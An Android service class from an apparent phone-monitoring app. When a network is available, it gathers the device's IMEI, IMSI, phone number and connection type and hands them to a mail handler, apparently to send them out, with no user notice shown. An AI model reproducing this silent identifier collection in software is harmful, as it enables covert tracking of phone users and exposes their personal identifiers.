package com.lequ.monitor.service;

import com.lequ.monitor.Globals;
import com.lequ.monitor.handler.MailHandler;
import com.lequ.monitor.util.NetInfo;

import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.os.Message;
import android.util.Log;
import android.widget.Toast;


public class NetService extends Service{

	static final String TAG="NetService";
	MailHandler mMailHandler=null;	
	String content=null;
	NetInfo netInfo;
	String imei=Globals.phone.getImei();
	String imsi=Globals.phone.getImsi();
	String phone=Globals.phone.getNativePhoneNumber();
	
	@Override
	public void onCreate() {
		mMailHandler=new MailHandler(this);
		netInfo=new NetInfo(this);
		super.onCreate();		
	}
    	
	@Override
	public void onStart(Intent intent, int startId) {
		super.onStart(intent, startId);
		content=null;
		if(netInfo.checkNetworkState()){
			new Thread(){
				 @Override  
				public void run(){
                   content="imei="+imei+",imsi="+imsi+",phone="+phone+",wifi="+netInfo.isWifi()+",gprs="+netInfo.isMobile();	
				   Message message=new Message();					  			   
				   Log.i(TAG, "imei:"+imei+",imsi:"+imsi+",phone:"+phone);				  				  				   
				   message.obj=content;				  
				   mMailHandler.sendMessage(message);
					 
				}
			}.start();
			
		}
	}

	@Override
	public void onDestroy() {
		super.onDestroy();
	}

	@Override
	public IBinder onBind(Intent arg0) {
		// TODO Auto-generated method stub
		return null;
	}

}
